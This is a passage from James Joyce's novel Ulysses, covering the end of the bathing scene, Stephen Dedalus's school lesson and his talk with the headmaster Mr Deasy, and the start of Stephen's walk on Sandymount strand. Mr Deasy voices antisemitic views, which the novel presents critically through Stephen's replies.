shirtsleeves, his unclipped tie rippling over his shoulder. A +young man clinging to a spur of rock near him, moved slowly frogwise his +green legs in the deep jelly of the water. + +--Is the brother with you, Malachi? + +--Down in Westmeath. With the Bannons. + +--Still there? I got a card from Bannon. Says he found a sweet young +thing down there. Photo girl he calls her. + +--Snapshot, eh? Brief exposure. + +Buck Mulligan sat down to unlace his boots. An elderly man shot up near +the spur of rock a blowing red face. He scrambled up by the stones, water +glistening on his pate and on its garland of grey hair, water rilling +over his chest and paunch and spilling jets out of his black sagging +loincloth. + +Buck Mulligan made way for him to scramble past and, glancing at Haines +and Stephen, crossed himself piously with his thumbnail at brow and lips +and breastbone. + +--Seymour's back in town, the young man said, grasping again his spur of +rock. Chucked medicine and going in for the army. + +--Ah, go to God! Buck Mulligan said. + +--Going over next week to stew. You know that red Carlisle girl, Lily? + +--Yes. + +--Spooning with him last night on the pier. The father is rotto with +money. + +--Is she up the pole? + +--Better ask Seymour that. + +--Seymour a bleeding officer! Buck Mulligan said. + +He nodded to himself as he drew off his trousers and stood up, saying +tritely: + +--Redheaded women buck like goats. + +He broke off in alarm, feeling his side under his flapping shirt. + +--My twelfth rib is gone, he cried. I'm the UBERMENSCH. Toothless Kinch +and I, the supermen. + +He struggled out of his shirt and flung it behind him to where his +clothes lay. + +--Are you going in here, Malachi? + +--Yes. Make room in the bed. + +The young man shoved himself backward through the water and reached the +middle of the creek in two long clean strokes. Haines sat down on a +stone, smoking. + +--Are you not coming in? Buck Mulligan asked. + +--Later on, Haines said. Not on my breakfast. + +Stephen turned away. + +--I'm going, Mulligan, he said. + +--Give us that key, Kinch, Buck Mulligan said, to keep my chemise flat. + +Stephen handed him the key. Buck Mulligan laid it across his heaped +clothes. + +--And twopence, he said, for a pint. Throw it there. + +Stephen threw two pennies on the soft heap. Dressing, undressing. Buck +Mulligan erect, with joined hands before him, said solemnly: + +--He who stealeth from the poor lendeth to the Lord. Thus spake +Zarathustra. + +His plump body plunged. + +--We'll see you again, Haines said, turning as Stephen walked up the path +and smiling at wild Irish. + +Horn of a bull, hoof of a horse, smile of a Saxon. + +--The Ship, Buck Mulligan cried. Half twelve. + +--Good, Stephen said. + +He walked along the upwardcurving path. + + + LILIATA RUTILANTIUM. + TURMA CIRCUMDET. + IUBILANTIUM TE VIRGINUM. + + +The priest's grey nimbus in a niche where he dressed discreetly. I will +not sleep here tonight. Home also I cannot go. + +A voice, sweettoned and sustained, called to him from the sea. Turning +the curve he waved his hand. It called again. A sleek brown head, a +seal's, far out on the water, round. + +Usurper. + + + * * * * * * * + + +--You, Cochrane, what city sent for him? + +--Tarentum, sir. + +--Very good. Well? + +--There was a battle, sir. + +--Very good. Where? + +The boy's blank face asked the blank window. + +Fabled by the daughters of memory. And yet it was in some way if not as +memory fabled it. A phrase, then, of impatience, thud of Blake's wings of +excess. I hear the ruin of all space, shattered glass and toppling +masonry, and time one livid final flame. What's left us then? + +--I forget the place, sir. 279 B. C. + +--Asculum, Stephen said, glancing at the name and date in the gorescarred +book. + +--Yes, sir. And he said: ANOTHER VICTORY LIKE THAT AND WE ARE DONE FOR. + +That phrase the world had remembered. A dull ease of the mind. From a +hill above a corpsestrewn plain a general speaking to his officers, +leaned upon his spear. Any general to any officers. They lend ear. + +--You, Armstrong, Stephen said. What was the end of Pyrrhus? + +--End of Pyrrhus, sir? + +--I know, sir. Ask me, sir, Comyn said. + +--Wait. You, Armstrong. Do you know anything about Pyrrhus? + +A bag of figrolls lay snugly in Armstrong's satchel. He curled them +between his palms at whiles and swallowed them softly. Crumbs adhered to +the tissue of his lips. A sweetened boy's breath. Welloff people, proud +that their eldest son was in the navy. Vico road, Dalkey. + +--Pyrrhus, sir? Pyrrhus, a pier. + +All laughed. Mirthless high malicious laughter. Armstrong looked round at +his classmates, silly glee in profile. In a moment they will laugh more +loudly, aware of my lack of rule and of the fees their papas pay. + +--Tell me now, Stephen said, poking the boy's shoulder with the book, +what is a pier. + +--A pier, sir, Armstrong said. A thing out in the water. A kind of a +bridge. Kingstown pier, sir. + +Some laughed again: mirthless but with meaning. Two in the back bench +whispered. Yes. They knew: had never learned nor ever been innocent. All. +With envy he watched their faces: Edith, Ethel, Gerty, Lily. Their likes: +their breaths, too, sweetened with tea and jam, their bracelets tittering +in the struggle. + +--Kingstown pier, Stephen said. Yes, a disappointed bridge. + +The words troubled their gaze. + +--How, sir? Comyn asked. A bridge is across a river. + +For Haines's chapbook. No-one here to hear. Tonight deftly amid wild +drink and talk, to pierce the polished mail of his mind. What then? A +jester at the court of his master, indulged and disesteemed, winning a +clement master's praise. Why had they chosen all that part? Not wholly +for the smooth caress. For them too history was a tale like any other too +often heard, their land a pawnshop. + +Had Pyrrhus not fallen by a beldam's hand in Argos or Julius Caesar not +been knifed to death. They are not to be thought away. Time has branded +them and fettered they are lodged in the room of the infinite +possibilities they have ousted. But can those have been possible seeing +that they never were? Or was that only possible which came to pass? +Weave, weaver of the wind. + +--Tell us a story, sir. + +--O, do, sir. A ghoststory. + +--Where do you begin in this? Stephen asked, opening another book. + +--WEEP NO MORE, Comyn said. + +--Go on then, Talbot. + +--And the story, sir? + +--After, Stephen said. Go on, Talbot. + +A swarthy boy opened a book and propped it nimbly under the breastwork of +his satchel. He recited jerks of verse with odd glances at the text: + + + --WEEP NO MORE, WOFUL SHEPHERDS, WEEP NO MORE + FOR LYCIDAS, YOUR SORROW, IS NOT DEAD, + SUNK THOUGH HE BE BENEATH THE WATERY FLOOR ... + + +It must be a movement then, an actuality of the possible as possible. +Aristotle's phrase formed itself within the gabbled verses and floated +out into the studious silence of the library of Saint Genevieve where he +had read, sheltered from the sin of Paris, night by night. By his elbow a +delicate Siamese conned a handbook of strategy. Fed and feeding brains +about me: under glowlamps, impaled, with faintly beating feelers: and in +my mind's darkness a sloth of the underworld, reluctant, shy of +brightness, shifting her dragon scaly folds. Thought is the thought of +thought. Tranquil brightness. The soul is in a manner all that is: the +soul is the form of forms. Tranquility sudden, vast, candescent: form of +forms. + +Talbot repeated: + + + --THROUGH THE DEAR MIGHT OF HIM THAT WALKED THE WAVES, + THROUGH THE DEAR MIGHT ... + + +--Turn over, Stephen said quietly. I don't see anything. + +--What, sir? Talbot asked simply, bending forward. + +His hand turned the page over. He leaned back and went on again, +having just remembered. Of him that walked the waves. Here also over +these craven hearts his shadow lies and on the scoffer's heart and lips +and on mine. It lies upon their eager faces who offered him a coin of the +tribute. To Caesar what is Caesar's, to God what is God's. A long look +from dark eyes, a riddling sentence to be woven and woven on the church's +looms. Ay. + + + RIDDLE ME, RIDDLE ME, RANDY RO. + MY FATHER GAVE ME SEEDS TO SOW. + + +Talbot slid his closed book into his satchel. + +--Have I heard all? Stephen asked. + +--Yes, sir. Hockey at ten, sir. + +--Half day, sir. Thursday. + +--Who can answer a riddle? Stephen asked. + +They bundled their books away, pencils clacking, pages rustling. +Crowding together they strapped and buckled their satchels, all gabbling +gaily: + +--A riddle, sir? Ask me, sir. + +--O, ask me, sir. + +--A hard one, sir. + +--This is the riddle, Stephen said: + + + THE COCK CREW, + THE SKY WAS BLUE: + THE BELLS IN HEAVEN + WERE STRIKING ELEVEN. + 'TIS TIME FOR THIS POOR SOUL + TO GO TO HEAVEN. + + +What is that? + +--What, sir? + +--Again, sir. We didn't hear. + +Their eyes grew bigger as the lines were repeated. After a silence +Cochrane said: + +--What is it, sir? We give it up. + +Stephen, his throat itching, answered: + +--The fox burying his grandmother under a hollybush. + +He stood up and gave a shout of nervous laughter to which their cries +echoed dismay. + +A stick struck the door and a voice in the corridor called: + +--Hockey! + +They broke asunder, sidling out of their benches, leaping them. +Quickly they were gone and from the lumberroom came the rattle of sticks +and clamour of their boots and tongues. + +Sargent who alone had lingered came forward slowly, showing an +open copybook. His thick hair and scraggy neck gave witness of +unreadiness and through his misty glasses weak eyes looked up pleading. +On his cheek, dull and bloodless, a soft stain of ink lay, dateshaped, +recent and damp as a snail's bed. + +He held out his copybook. The word SUMS was written on the +headline. Beneath were sloping figures and at the foot a crooked signature +with blind loops and a blot. Cyril Sargent: his name and seal. + +--Mr Deasy told me to write them out all again, he said, and show them to +you, sir. + +Stephen touched the edges of the book. Futility. + +--Do you understand how to do them now? he asked. + +--Numbers eleven to fifteen, Sargent answered. Mr Deasy said I was to +copy them off the board, sir. + +--Can you do them. yourself? Stephen asked. + +--No, sir. + +Ugly and futile: lean neck and thick hair and a stain of ink, a snail's +bed. Yet someone had loved him, borne him in her arms and in her heart. +But for her the race of the world would have trampled him underfoot, a +squashed boneless snail. She had loved his weak watery blood drained from +her own. Was that then real? The only true thing in life? His mother's +prostrate body the fiery Columbanus in holy zeal bestrode. She was no +more: the trembling skeleton of a twig burnt in the fire, an odour of +rosewood and wetted ashes. She had saved him from being trampled +underfoot and had gone, scarcely having been. A poor soul gone to heaven: +and on a heath beneath winking stars a fox, red reek of rapine in his fur, +with merciless bright eyes scraped in the earth, listened, scraped up the +earth, listened, scraped and scraped. + +Sitting at his side Stephen solved out the problem. He proves by +algebra that Shakespeare's ghost is Hamlet's grandfather. Sargent peered +askance through his slanted glasses. Hockeysticks rattled in the +lumberroom: the hollow knock of a ball and calls from the field. + +Across the page the symbols moved in grave morrice, in the mummery +of their letters, wearing quaint caps of squares and cubes. Give hands, +traverse, bow to partner: so: imps of fancy of the Moors. Gone too from +the world, Averroes and Moses Maimonides, dark men in mien and +movement, flashing in their mocking mirrors the obscure soul of the +world, a darkness shining in brightness which brightness could not +comprehend. + +--Do you understand now? Can you work the second for yourself? + +--Yes, sir. + +In long shaky strokes Sargent copied the data. Waiting always for a +word of help his hand moved faithfully the unsteady symbols, a faint hue +of shame flickering behind his dull skin. AMOR MATRIS: subjective and +objective genitive. With her weak blood and wheysour milk she had fed him +and hid from sight of others his swaddling bands. + +Like him was I, these sloping shoulders, this gracelessness. My +childhood bends beside me. Too far for me to lay a hand there once or +lightly. Mine is far and his secret as our eyes. Secrets, silent, stony +sit in the dark palaces of both our hearts: secrets weary of their +tyranny: tyrants, willing to be dethroned. + +The sum was done. + +--It is very simple, Stephen said as he stood up. + +--Yes, sir. Thanks, Sargent answered. + +He dried the page with a sheet of thin blottingpaper and carried his +copybook back to his bench. + +--You had better get your stick and go out to the others, Stephen said as +he followed towards the door the boy's graceless form. + +--Yes, sir. + +In the corridor his name was heard, called from the playfield. + +--Sargent! + +--Run on, Stephen said. Mr Deasy is calling you. + +He stood in the porch and watched the laggard hurry towards the +scrappy field where sharp voices were in strife. They were sorted in teams +and Mr Deasy came away stepping over wisps of grass with gaitered feet. +When he had reached the schoolhouse voices again contending called to +him. He turned his angry white moustache. + +--What is it now? he cried continually without listening. + +--Cochrane and Halliday are on the same side, sir, Stephen said. + +--Will you wait in my study for a moment, Mr Deasy said, till I restore +order here. + +And as he stepped fussily back across the field his old man's voice +cried sternly: + +--What is the matter? What is it now? + +Their sharp voices cried about him on all sides: their many forms +closed round him, the garish sunshine bleaching the honey of his illdyed +head. + +Stale smoky air hung in the study with the smell of drab abraded +leather of its chairs. As on the first day he bargained with me here. As +it was in the beginning, is now. On the sideboard the tray of Stuart +coins, base treasure of a bog: and ever shall be. And snug in their +spooncase of purple plush, faded, the twelve apostles having preached to +all the gentiles: world without end. + +A hasty step over the stone porch and in the corridor. Blowing out his +rare moustache Mr Deasy halted at the table. + +--First, our little financial settlement, he said. + +He brought out of his coat a pocketbook bound by a leather thong. It +slapped open and he took from it two notes, one of joined halves, and laid +them carefully on the table. + +--Two, he said, strapping and stowing his pocketbook away. + +And now his strongroom for the gold. Stephen's embarrassed hand +moved over the shells heaped in the cold stone mortar: whelks and money +cowries and leopard shells: and this, whorled as an emir's turban, and +this, the scallop of saint James. An old pilgrim's hoard, dead treasure, +hollow shells. + +A sovereign fell, bright and new, on the soft pile of the tablecloth. + +--Three, Mr Deasy said, turning his little savingsbox about in his hand. +These are handy things to have. See. This is for sovereigns. This is for +shillings. Sixpences, halfcrowns. And here crowns. See. + +He shot from it two crowns and two shillings. + +--Three twelve, he said. I think you'll find that's right. + +--Thank you, sir, Stephen said, gathering the money together with shy +haste and putting it all in a pocket of his trousers. + +--No thanks at all, Mr Deasy said. You have earned it. + +Stephen's hand, free again, went back to the hollow shells. Symbols +too of beauty and of power. A lump in my pocket: symbols soiled by greed +and misery. + +--Don't carry it like that, Mr Deasy said. You'll pull it out somewhere +and lose it. You just buy one of these machines. You'll find them very +handy. + +Answer something. + +--Mine would be often empty, Stephen said. + +The same room and hour, the same wisdom: and I the same. Three +times now. Three nooses round me here. Well? I can break them in this +instant if I will. + +--Because you don't save, Mr Deasy said, pointing his finger. You don't +know yet what money is. Money is power. When you have lived as long as I +have. I know, I know. If youth but knew. But what does Shakespeare say? +PUT BUT MONEY IN THY PURSE. + +--Iago, Stephen murmured. + +He lifted his gaze from the idle shells to the old man's stare. + +--He knew what money was, Mr Deasy said. He made money. A poet, yes, +but an Englishman too. Do you know what is the pride of the English? Do +you know what is the proudest word you will ever hear from an +Englishman's mouth? + +The seas' ruler. His seacold eyes looked on the empty bay: it seems +history is to blame: on me and on my words, unhating. + +--That on his empire, Stephen said, the sun never sets. + +--Ba! Mr Deasy cried. That's not English. A French Celt said that. He +tapped his savingsbox against his thumbnail. + +--I will tell you, he said solemnly, what is his proudest boast. I PAID +MY WAY. + +Good man, good man. + +--I PAID MY WAY. I NEVER BORROWED A SHILLING IN MY LIFE. Can you feel +that? I OWE NOTHING. Can you? + +Mulligan, nine pounds, three pairs of socks, one pair brogues, ties. +Curran, ten guineas. McCann, one guinea. Fred Ryan, two shillings. +Temple, two lunches. Russell, one guinea, Cousins, ten shillings, Bob +Reynolds, half a guinea, Koehler, three guineas, Mrs MacKernan, five +weeks' board. The lump I have is useless. + +--For the moment, no, Stephen answered. + +Mr Deasy laughed with rich delight, putting back his savingsbox. + +--I knew you couldn't, he said joyously. But one day you must feel it. We +are a generous people but we must also be just. + +--I fear those big words, Stephen said, which make us so unhappy. + +Mr Deasy stared sternly for some moments over the mantelpiece at +the shapely bulk of a man in tartan filibegs: Albert Edward, prince of +Wales. + +--You think me an old fogey and an old tory, his thoughtful voice said. I +saw three generations since O'Connell's time. I remember the famine +in '46. Do you know that the orange lodges agitated for repeal of the +union twenty years before O'Connell did or before the prelates of your +communion denounced him as a demagogue? You fenians forget some things. + +Glorious, pious and immortal memory. The lodge of Diamond in +Armagh the splendid behung with corpses of papishes. Hoarse, masked and +armed, the planters' covenant. The black north and true blue bible. +Croppies lie down. + +Stephen sketched a brief gesture. + +--I have rebel blood in me too, Mr Deasy said. On the spindle side. But I +am descended from sir John Blackwood who voted for the union. We are all +Irish, all kings' sons. + +--Alas, Stephen said. + +--PER VIAS RECTAS, Mr Deasy said firmly, was his motto. He voted for it +and put on his topboots to ride to Dublin from the Ards of Down to do so. + + + LAL THE RAL THE RA + THE ROCKY ROAD TO DUBLIN. + + +A gruff squire on horseback with shiny topboots. Soft day, sir John! +Soft day, your honour! ... Day! ... Day! ... Two topboots jog dangling +on to Dublin. Lal the ral the ra. Lal the ral the raddy. + +--That reminds me, Mr Deasy said. You can do me a favour, Mr Dedalus, +with some of your literary friends. I have a letter here for the press. +Sit down a moment. I have just to copy the end. + +He went to the desk near the window, pulled in his chair twice and +read off some words from the sheet on the drum of his typewriter. + +--Sit down. Excuse me, he said over his shoulder, THE DICTATES OF COMMON +SENSE. Just a moment. + +He peered from under his shaggy brows at the manuscript by his +elbow and, muttering, began to prod the stiff buttons of the keyboard +slowly, sometimes blowing as he screwed up the drum to erase an error. + +Stephen seated himself noiselessly before the princely presence. +Framed around the walls images of vanished horses stood in homage, their +meek heads poised in air: lord Hastings' Repulse, the duke of +Westminster's Shotover, the duke of Beaufort's Ceylon, PRIX DE PARIS, +1866. Elfin riders sat them, watchful of a sign. He saw their speeds, +backing king's colours, and shouted with the shouts of vanished crowds. + +--Full stop, Mr Deasy bade his keys. But prompt ventilation of this +allimportant question ... + +Where Cranly led me to get rich quick, hunting his winners among +the mudsplashed brakes, amid the bawls of bookies on their pitches and +reek of the canteen, over the motley slush. Fair Rebel! Fair Rebel! Even +money the favourite: ten to one the field. Dicers and thimbleriggers we +hurried by after the hoofs, the vying caps and jackets and past the +meatfaced woman, a butcher's dame, nuzzling thirstily her clove of orange. + +Shouts rang shrill from the boys' playfield and a whirring whistle. + +Again: a goal. I am among them, among their battling bodies in a +medley, the joust of life. You mean that knockkneed mother's darling who +seems to be slightly crawsick? Jousts. Time shocked rebounds, shock by +shock. Jousts, slush and uproar of battles, the frozen deathspew of the +slain, a shout of spearspikes baited with men's bloodied guts. + +--Now then, Mr Deasy said, rising. + +He came to the table, pinning together his sheets. Stephen stood up. + +--I have put the matter into a nutshell, Mr Deasy said. It's about the +foot and mouth disease. Just look through it. There can be no two opinions +on the matter. + +May I trespass on your valuable space. That doctrine of LAISSEZ FAIRE +which so often in our history. Our cattle trade. The way of all our old +industries. Liverpool ring which jockeyed the Galway harbour scheme. +European conflagration. Grain supplies through the narrow waters of the +channel. The pluterperfect imperturbability of the department of +agriculture. Pardoned a classical allusion. Cassandra. By a woman who +was no better than she should be. To come to the point at issue. + +--I don't mince words, do I? Mr Deasy asked as Stephen read on. + +Foot and mouth disease. Known as Koch's preparation. Serum and +virus. Percentage of salted horses. Rinderpest. Emperor's horses at +Murzsteg, lower Austria. Veterinary surgeons. Mr Henry Blackwood Price. +Courteous offer a fair trial. Dictates of common sense. Allimportant +question. In every sense of the word take the bull by the horns. Thanking +you for the hospitality of your columns. + +--I want that to be printed and read, Mr Deasy said. You will see at the +next outbreak they will put an embargo on Irish cattle. And it can be +cured. It is cured. My cousin, Blackwood Price, writes to me it is +regularly treated and cured in Austria by cattledoctors there. They offer +to come over here. I am trying to work up influence with the department. +Now I'm going to try publicity. I am surrounded by difficulties, +by ... intrigues by ... backstairs influence by ... + +He raised his forefinger and beat the air oldly before his voice spoke. + +--Mark my words, Mr Dedalus, he said. England is in the hands of the +jews. In all the highest places: her finance, her press. And they are the +signs of a nation's decay. Wherever they gather they eat up the nation's +vital strength. I have seen it coming these years. As sure as we are +standing here the jew merchants are already at their work of destruction. +Old England is dying. + +He stepped swiftly off, his eyes coming to blue life as they passed a +broad sunbeam. He faced about and back again. + +--Dying, he said again, if not dead by now. + + + THE HARLOT'S CRY FROM STREET TO STREET + SHALL WEAVE OLD ENGLAND'S WINDINGSHEET. + + +His eyes open wide in vision stared sternly across the sunbeam in +which he halted. + +--A merchant, Stephen said, is one who buys cheap and sells dear, jew or +gentile, is he not? + +--They sinned against the light, Mr Deasy said gravely. And you can see +the darkness in their eyes. And that is why they are wanderers on the +earth to this day. + +On the steps of the Paris stock exchange the goldskinned men quoting +prices on their gemmed fingers. Gabble of geese. They swarmed loud, +uncouth about the temple, their heads thickplotting under maladroit silk +hats. Not theirs: these clothes, this speech, these gestures. Their full +slow eyes belied the words, the gestures eager and unoffending, but knew +the rancours massed about them and knew their zeal was vain. Vain patience +to heap and hoard. Time surely would scatter all. A hoard heaped by the +roadside: plundered and passing on. Their eyes knew their years of +wandering and, patient, knew the dishonours of their flesh. + +--Who has not? Stephen said. + +--What do you mean? Mr Deasy asked. + +He came forward a pace and stood by the table. His underjaw fell +sideways open uncertainly. Is this old wisdom? He waits to hear from me. + +--History, Stephen said, is a nightmare from which I am trying to awake. + +From the playfield the boys raised a shout. A whirring whistle: goal. +What if that nightmare gave you a back kick? + +--The ways of the Creator are not our ways, Mr Deasy said. All human +history moves towards one great goal, the manifestation of God. + +Stephen jerked his thumb towards the window, saying: + +--That is God. + +Hooray! Ay! Whrrwhee! + +--What? Mr Deasy asked. + +--A shout in the street, Stephen answered, shrugging his shoulders. + +Mr Deasy looked down and held for awhile the wings of his nose +tweaked between his fingers. Looking up again he set them free. + +--I am happier than you are, he said. We have committed many errors and +many sins. A woman brought sin into the world. For a woman who was no +better than she should be, Helen, the runaway wife of Menelaus, ten years +the Greeks made war on Troy. A faithless wife first brought the strangers +to our shore here, MacMurrough's wife and her leman, O'Rourke, prince of +Breffni. A woman too brought Parnell low. Many errors, many failures but +not the one sin. I am a struggler now at the end of my days. But I will +fight for the right till the end. + + + FOR ULSTER WILL FIGHT + AND ULSTER WILL BE RIGHT. + + +Stephen raised the sheets in his hand. + +--Well, sir, he began ... + +--I foresee, Mr Deasy said, that you will not remain here very long at +this work. You were not born to be a teacher, I think. Perhaps I am +wrong. + +--A learner rather, Stephen said. + +And here what will you learn more? + +Mr Deasy shook his head. + +--Who knows? he said. To learn one must be humble. But life is the great +teacher. + +Stephen rustled the sheets again. + +--As regards these, he began. + +--Yes, Mr Deasy said. You have two copies there. If you can have them +published at once. + +TELEGRAPH. IRISH HOMESTEAD. + +--I will try, Stephen said, and let you know tomorrow. I know two editors +slightly. + +--That will do, Mr Deasy said briskly. I wrote last night to Mr Field, +M.P. There is a meeting of the cattletraders' association today at the +City Arms hotel. I asked him to lay my letter before the meeting. You see +if you can get it into your two papers. What are they? + +--THE EVENING TELEGRAPH ... + +--That will do, Mr Deasy said. There is no time to lose. Now I have to +answer that letter from my cousin. + +--Good morning, sir, Stephen said, putting the sheets in his pocket. +Thank you. + +--Not at all, Mr Deasy said as he searched the papers on his desk. I like +to break a lance with you, old as I am. + +--Good morning, sir, Stephen said again, bowing to his bent back. + +He went out by the open porch and down the gravel path under the +trees, hearing the cries of voices and crack of sticks from the playfield. +The lions couchant on the pillars as he passed out through the gate: +toothless terrors. Still I will help him in his fight. Mulligan will dub +me a new name: the bullockbefriending bard. + +--Mr Dedalus! + +Running after me. No more letters, I hope. + +--Just one moment. + +--Yes, sir, Stephen said, turning back at the gate. + +Mr Deasy halted, breathing hard and swallowing his breath. + +--I just wanted to say, he said. Ireland, they say, has the honour of +being the only country which never persecuted the jews. Do you know that? +No. And do you know why? + +He frowned sternly on the bright air. + +--Why, sir? Stephen asked, beginning to smile. + +--Because she never let them in, Mr Deasy said solemnly. + +A coughball of laughter leaped from his throat dragging after it a +rattling chain of phlegm. He turned back quickly, coughing, laughing, his +lifted arms waving to the air. + +--She never let them in, he cried again through his laughter as he +stamped on gaitered feet over the gravel of the path. That's why. + +On his wise shoulders through the checkerwork of leaves the sun flung +spangles, dancing coins. + + + * * * * * * * + + +Ineluctable modality of the visible: at least that if no more, thought +through my eyes. Signatures of all things I am here to read, seaspawn and +seawrack, the nearing tide, that rusty boot. Snotgreen, bluesilver, rust: +coloured signs. Limits of the diaphane. But he adds: in bodies. Then he +was aware of them bodies before of them coloured. How? By knocking his +sconce against them, sure. Go easy. Bald he was and a millionaire, MAESTRO +DI COLOR CHE SANNO. Limit of the diaphane in. Why in? Diaphane, +adiaphane. If you can put your five fingers through it it is a gate, if +not a door. Shut your eyes and see. + +Stephen closed his eyes to hear his boots crush crackling wrack and +shells. You are walking through it howsomever. I am, a stride at a time. A +very short space of time through very short times of space. Five, six: the +NACHEINANDER. Exactly: and that is the ineluctable modality of the +audible. Open your eyes. No. Jesus! If I fell over a cliff that beetles +o'er his base, fell through the NEBENEINANDER ineluctably! I am getting on +nicely in the dark. My ash sword hangs at my side. Tap with it: they do. +My two feet in his boots are at the ends of his legs, NEBENEINANDER. +Sounds solid: made by the mallet of LOS DEMIURGOS. Am I walking into +eternity along Sandymount strand? Crush, crack, crick, crick. Wild sea +money. Dominie Deasy kens them a'. + + + WON'T YOU COME TO SANDYMOUNT, + MADELINE THE MARE? + + +Rhythm begins, you see. I hear. Acatalectic tetrameter of iambs +marching. No, agallop: DELINE THE MARE. + +Open your eyes now. I will. One moment. Has all vanished since? If I +open and am for ever in the black adiaphane. BASTA! I will see if I can +see. + +See now. There all the time without you: and ever shall be, world +without end. + +They came down the steps from Leahy's terrace prudently, +FRAUENZIMMER: and down the shelving shore flabbily, their splayed feet +sinking in the silted sand. Like me, like Algy, coming down to our mighty +mother. Number one swung lourdily her midwife's bag, the other's gamp +poked in the beach. From the liberties, out for the day. Mrs Florence +MacCabe, relict of the late Patk MacCabe, deeply lamented, of Bride +Street. One of her sisterhood lugged me squealing into life. Creation from +nothing. What has she in the bag? A misbirth with a trailing navelcord, +hushed in ruddy wool. The cords of all link back, strandentwining cable of +all flesh. That is why mystic monks. Will you be as gods? Gaze in your +OMPHALOS. Hello! Kinch here. Put me on to Edenville. Aleph, alpha: nought, +nought, one. + +Spouse and helpmate of Adam Kadmon: Heva, naked Eve. She had +no navel. Gaze. Belly without blemish, bulging big, a buckler of taut +vellum, no, whiteheaped corn, orient and immortal, standing from +everlasting to everlasting. Womb of sin. + +Wombed in sin darkness I was too, made not begotten. By them, the +man with my voice and my eyes and a ghostwoman with ashes on her +breath. They clasped and sundered, did the coupler's will. From before the +ages He willed me and now may not will me away or ever. A LEX ETERNA +stays about Him. Is that then the divine substance wherein Father and Son +are consubstantial? Where is poor dear Arius to try conclusions? Warring +his life long upon the contransmagnificandjewbangtantiality. Illstarred +heresiarch' In a Greek watercloset he breathed his last: euthanasia. With +beaded mitre and with crozier, stalled upon his throne, widower of a +widowed see, with upstiffed omophorion, with clotted hinderparts. + +Airs romped round him, nipping and eager airs. They are coming, +waves. The whitemaned seahorses, champing, brightwindbridled, the steeds +of Mananaan. + +I mustn't forget his letter for the press. And after? The Ship, half +twelve. By the way go easy with that money like a good young imbecile. + +Yes, I must. + +His pace slackened. Here. Am I going to aunt Sara's or not? My +consubstantial father's voice. Did you see anything of your artist brother +Stephen lately? No? Sure he's not down in Strasburg terrace with his aunt + +Sally? Couldn't he fly a bit higher than that, eh? And and and and tell +us, Stephen, how is uncle Si? O, weeping God, the things I married into! +De boys up in de hayloft. The drunken little costdrawer and his brother, +the cornet player. Highly respectable gondoliers! And skeweyed Walter +sirring his father, no less! Sir. Yes, sir. No, sir. Jesus wept: and no +wonder, by Christ! + +I pull the wheezy bell of their shuttered cottage: and wait. They take +me for a dun, peer out from a coign of vantage. + +--It's Stephen, sir. + +--Let him in. Let Stephen in. + +A bolt drawn back and Walter welcomes me. + +--We thought you were someone else. + +In his broad bed nuncle Richie, pillowed and blanketed, extends over +the hillock of his knees a sturdy forearm. Cleanchested. He has washed the +upper moiety. + +--Morrow, nephew. + +He lays aside the lapboard whereon he drafts his bills of costs for the +eyes of master Goff and master Shapland Tandy, filing consents and +common searches and a writ of DUCES TECUM. A bogoak frame over his bald +head: Wilde's REQUIESCAT. The drone of his misleading whistle brings +Walter back. + +--Yes, sir? + +--Malt for Richie and Stephen, tell mother. Where is she? + +--Bathing Crissie, sir. + +Papa's little bedpal. Lump of love. + +--No, uncle Richie ... + +--Call me Richie. Damn your lithia water. It lowers. Whusky! + +--Uncle Richie, really ... + +--Sit down or by the law Harry I'll knock you down. + +Walter squints vainly for a chair. + +--He has nothing to sit down on, sir. + +--He has nowhere to put it, you mug. Bring in our chippendale chair. +Would you like a bite of something? None of your damned lawdeedaw airs +here. The rich of a rasher fried with a herring? Sure? So much the better. +We have nothing in the house but backache pills. + +ALL'ERTA! + +He drones bars of Ferrando's ARIA DI SORTITA. The grandest number, +Stephen, in the whole opera. Listen. + +His tuneful whistle sounds again, finely shaded, with rushes of the air, +his fists bigdrumming on his padded knees. + +This wind is sweeter. + +Houses of decay, mine, his and all. You told the Clongowes gentry +you had an uncle a judge and an uncle a general in the army. Come out of +them, Stephen. Beauty is not there. Nor in the stagnant bay of Marsh's +library where you read the fading prophecies of Joachim Abbas. For +whom? The hundredheaded rabble of the cathedral close. A hater of his +kind ran from them to the wood of madness, his mane foaming in the +moon, his eyeballs stars. Houyhnhnm, horsenostrilled. The oval equine +faces, Temple, Buck Mulligan, Foxy Campbell, Lanternjaws. Abbas father,-- +furious dean, what offence laid fire to their brains? Paff! DESCENDE, +CALVE, UT NE AMPLIUS DECALVERIS. A garland of grey hair on his comminated +head see him me clambering down to the footpace (DESCENDE!), clutching a +monstrance, basiliskeyed. Get down, baldpoll! A choir gives back menace +and echo, assisting about the altar's horns, the snorted Latin of +jackpriests moving burly in their albs, tonsured and oiled and gelded, fat +with the fat of kidneys of wheat. + +And at the same instant perhaps a priest round the corner is elevating it. +Dringdring! And two streets off another locking it into a pyx. +Dringadring! And in a ladychapel another taking housel all to his own +cheek. Dringdring! Down, up, forward, back. Dan Occam thought of that, +invincible doctor. A misty English morning the imp hypostasis tickled his +brain. Bringing his host down and kneeling he heard twine with his second +bell the first bell in the transept (he is lifting his) and, rising, heard +(now I am lifting) their two bells (he is kneeling) twang in diphthong. + +Cousin Stephen, you will never be a saint. Isle of saints. You were +awfully holy, weren't you? You prayed to the Blessed Virgin that you might +not have a red nose. You prayed to the devil in Serpentine avenue that the +fubsy widow in front might lift her clothes still more from the wet +street. O SI, CERTO! Sell your soul for that, do, dyed rags pinned round a +squaw. More tell me, more still!! On the top of the Howth tram alone +crying to the rain: Naked women! NAKED WOMEN! What about that, eh? + +What about what? What else were they invented for? + +Reading two pages apiece of seven books every night, eh? I was +young. You bowed to yourself in the mirror, stepping forward to applause +earnestly, striking face. Hurray for the Goddamned idiot! Hray! No-one +saw: tell no-one. Books you were going to write with letters for titles. +Have you read his F? O yes, but I prefer Q. Yes, but W is wonderful. +O yes, W. Remember your epiphanies written on green oval leaves, deeply +deep, copies to be sent if you died to all the great libraries of the +world, including Alexandria? Someone was to read them there after a few +thousand years, a mahamanvantara. Pico della Mirandola like. Ay, very like +a whale. When one reads these strange pages of one long gone one feels +that one is at one with one who once ... + +The grainy sand had gone from under his feet. His boots trod again a +damp crackling mast, razorshells, squeaking pebbles, that on the +unnumbered pebbles beats, wood sieved by the shipworm, lost Armada. +Unwholesome sandflats waited to suck his treading soles, breathing upward +sewage breath, a pocket of seaweed smouldered in seafire under a midden +of man's ashes. He coasted them, walking warily. A porterbottle stood up, +stogged to its waist, in the cakey sand dough. A sentinel: isle of +dreadful thirst. Broken hoops on the shore; at the land a maze 